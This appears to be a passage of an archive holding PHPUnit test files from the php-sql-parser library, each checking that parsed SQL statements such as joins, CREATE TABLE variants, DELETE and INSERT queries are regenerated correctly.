            array('SELECT sum, @c := 40 FROM (SELECT @a := 10, @b := 20, @a + @b AS sum) AS x'),
        );
    }
}
PK     \>		  	  @  vendor/greenlion/php-sql-parser/tests/cases/creator/joinTest.phpnu [        <?php
/**
 * join.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class joinTest extends \PHPUnit\Framework\TestCase {
	
    public function testJoin() {
        $sql = " SELECT a.*, surveyls_title, surveyls_description, surveyls_welcometext, surveyls_url  FROM SURVEYS AS a INNER JOIN SURVEYS_LANGUAGESETTINGS on (surveyls_survey_id=a.sid and surveyls_language=a.language)  order by active DESC, surveyls_title";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'join.sql', false);
        $this->assertSame($expected, $created, 'a join');
    }
}

PK     \cz "   "  C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue33Test.phpnu [        <?php
/**
 * issue33.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue33Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue33() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho (LIKE xyz)";
        $parser->parse($sql, true);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33a.sql', false);
        $this->assertSame($expected, $created, 'CREATE TABLE statement with (LIKE)');


        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho LIKE xyz";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33b.sql', false);
        $this->assertSame($expected, $created, 'CREATE TABLE statement with LIKE');


        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho (a varchar(1000) NOT NULL, CONSTRAINT hohoho_pk PRIMARY KEY (a), CHECK(a > 5))";
        $parser->parse($sql);
        $p = $parser->parsed;
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33c.sql', false);
        $this->assertSame($expected, $created, 'CREATE TABLE statement with named primary key and check');


        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho (a varchar(1000), CONSTRAINT PRIMARY KEY (a), CHECK(a > 5))";
        $parser->parse($sql);
        $p = $parser->parsed;
        try {
            $creator = new PHPSQLCreator($parser->parsed);
            $created = $creator->created;
        } catch (Exception $e) {
            echo $e->getMessage();
            echo $e->getTraceAsString();
            $created = "";
        }
        $expected = getExpectedValue(dirname(__FILE__), 'issue33d.sql', false);
        $this->assertSame($expected, $created, 'CREATE TABLE statement with not named primary key and check');


        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho (a varchar(1000), PRIMARY KEY USING btree (a), CHECK(a > 5))";
        $parser->parse($sql);
        $p = $parser->parsed;
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33e.sql', false);
        $this->assertSame($expected, $created, 'CREATE TABLE statement with named primary key, index type and check');


        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE \"cachetable01\" (
        \"sp_id\" varchar(240) DEFAULT NULL,
        \"ro\" varchar(240) DEFAULT NULL,
        \"balance\" varchar(240) DEFAULT NULL,
        \"last_cache_timestamp\" varchar(25) DEFAULT NULL
        ) ENGINE=InnoDB DEFAULT CHARACTER SET=latin1";
        $parser->parse($sql);
        $p = $parser->parsed;
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33f.sql', false);
        $this->assertSame($expected, $created, 'CREATE TABLE statement columns and options');


        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho (a varchar(1000), PRIMARY KEY USING btree (a(5) ASC) key_block_size 4 with parser haha, CHECK(a > 5))";
        $parser->parse($sql);
        $p = $parser->parsed;
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33g.sql', false);
        $this->assertSame($expected, $created, 'CREATE TABLE statement with primary key with index options and check');


        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho (a varchar(1000)) ENGINE=xyz,COMMENT='haha' DEFAULT COLLATE = latin1_german2_ci";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33h.sql', false);
        $this->assertSame($expected, $created, 'CREATE TABLE statement with table options separated by different characters');


        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho (a varchar(1000), b integer, FOREIGN KEY haha (b) references xyz (id) match full on delete cascade) ";
        $parser->parse($sql);
        $p = $parser->parsed;
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33i.sql', false);
        $this->assertSame($expected, $created, 'CREATE TABLE statement with foreign key references');


        $parser = new PHPSQLParser();
        $sql = "CREATE TEMPORARY TABLE IF   NOT 
        EXISTS turma(id text NOT NULL ,
        nome text NOT NULL ,
        nota1 int NOT NULL ,
        nota2 int NOT NULL
        )";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33j.sql', false);
        $this->assertSame($expected, $created, 'simple CREATE TEMPORARY TABLE statement with positions');


        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho (a varchar(1000), PRIMARY KEY (a(5) ASC) key_block_size 4 using btree with parser haha, CHECK(a > 5))";
        $parser->parse($sql);
        $p = $parser->parsed;
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33k.sql', false);
        $this->assertSame($expected, $created, 'CREATE TABLE statement with primary key column and multiple index options and check');


        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho (a integer not null) REPLACE AS SELECT DISTINCT * FROM abcd WHERE x<5";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33l.sql', false);
        $this->assertSame($expected, $created, 'CREATE TABLE statement with select statement, replace duplicates');


        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho (a varchar(1000), b float(5,3)) ";
        $parser->parse($sql);
        $p = $parser->parsed;
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33m.sql', false);
        $this->assertSame($expected, $created, 'CREATE TABLE statement multi-param column type');

    }
}

PK     \Fi	  i	  B  vendor/greenlion/php-sql-parser/tests/cases/creator/deleteTest.phpnu [        <?php
/**
 * delete.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class deleteTest extends \PHPUnit\Framework\TestCase {
	
    public function testDelete() {
        $sql = "DELETE QUICK t1, t2 FROM t1 INNER JOIN t2 INNER JOIN t3 WHERE t1.id=t2.id AND t2.id=t3.id";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'delete.sql', false);
        $this->assertSame($expected, $created, 'a multi-table delete statement');

    }
}

PK     \	xV	  V	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue130Test.phpnu [        <?php
/**
 * issue130.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue130Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue130() {
        $query = "select * from t1 order by c2-c1";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue130.sql', false);
        $this->assertSame($expected, $created, 'expressions within the ORDER-BY clause');

    }
}

PK     \顐j  j  B  vendor/greenlion/php-sql-parser/tests/cases/creator/insertTest.phpnu [        <?php
/**
 * insert.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class insertTest extends \PHPUnit\Framework\TestCase {
	
    public function testInsert() {
        $sql = "INSERT INTO test (`name`, `test`) VALUES ('\'Superman\'', ''), ('\'Superman\'', '')";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'insert1.sql', false);
        $this->assertSame($expected, $created, 'multiple records within INSERT');


        $sql = "INSERT INTO test (`name`, `test`) VALUES ('\'Superman\'', '')";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'insert2.sql', false);
        $this->assertSame($expected, $created, 'a simple INSERT statement');


        $sql = "INSERT INTO test (`name`, `test`) VALUES ('\'Superman\'', ''), ('\'sdfsd\'', '')";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'insert3.sql', false);
        $this->assertSame($expected, $created, 'multiple records within INSERT (2)');

    }
}

PK     \Sa    B  vendor/greenlion/php-sql-parser/tests/cases/creator/inlistTest.phpnu [        <?php
/**
 * inlist.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class inlistTest extends \PHPUnit\Framework\TestCase {
	
    public function testInlist() {
        $sql = "SELECT * FROM contacts WHERE contacts.id IN (SELECT email_addr_bean_rel.bean_id FROM email_addr_bean_rel, email_addresses WHERE email_addresses.id = email_addr_bean_rel.email_address_id AND email_addr_bean_rel.deleted = 0 AND email_addr_bean_rel.bean_module = 'Contacts' AND email_addresses.email_address IN (\"test@example.com\"))";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'inlist.sql', false);
        $this->assertSame($expected, $created, 'a subquery and in-lists');

    }

    public function testInSubtree() {
        $sql = 'SELECT CASE WHEN 2 IN (2, 3) THEN "yes" ELSE "no" END';
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'insubtree.sql', false);
        $this->assertSame($expected, $created, 'a IN list in a CASE WHEN subtree');

    }

}
PK     \K	  K	  C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue94Test.phpnu [        <?php
/**
 * issue94.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue94Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue94() {
        $sql = 'SELECT DATE_ADD(NOW(), INTERVAL 1 MONTH) AS next_month';
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue94.sql', false);
        $this->assertSame($expected, $created, 'creating date_add with interval');

    }
}

PK     \Uki	  i	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue118Test.phpnu [        <?php
/**
 * issue118.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue118Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue118() {
        $query = "select organism_name as reference from organisms group by reference";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue118.sql', false);
        $this->assertSame($expected, $created, 'alias within group by');

    }
}

PK     \G_?
  
  @  vendor/greenlion/php-sql-parser/tests/cases/creator/leftTest.phpnu [        <?php
/**
 * left.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class leftTest extends \PHPUnit\Framework\TestCase {

    public function testLeft() {
        $sql = 'SELECT *
            FROM (t1 LEFT JOIN t2 ON t1.a=t2.a)
                 LEFT JOIN t3
                 ON t2.b=t3.b OR t2.b IS NULL';
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'left.sql', false);
        $this->assertSame($expected, $created, 'left joins and table-expression');

    }
/**
 * @doesNotPerformAssertions
*/
    public function testLeftIn() {
        $sql = 'SELECT *
            FROM (t1 LEFT JOIN t2 ON t1.a=t2.a)
                 LEFT JOIN t3
                 ON t3.id IN (SELECT id FROM t4)';
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
    }
}

PK     \a
  
  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue104Test.phpnu [        <?php
/**
 * issue104.php
 *
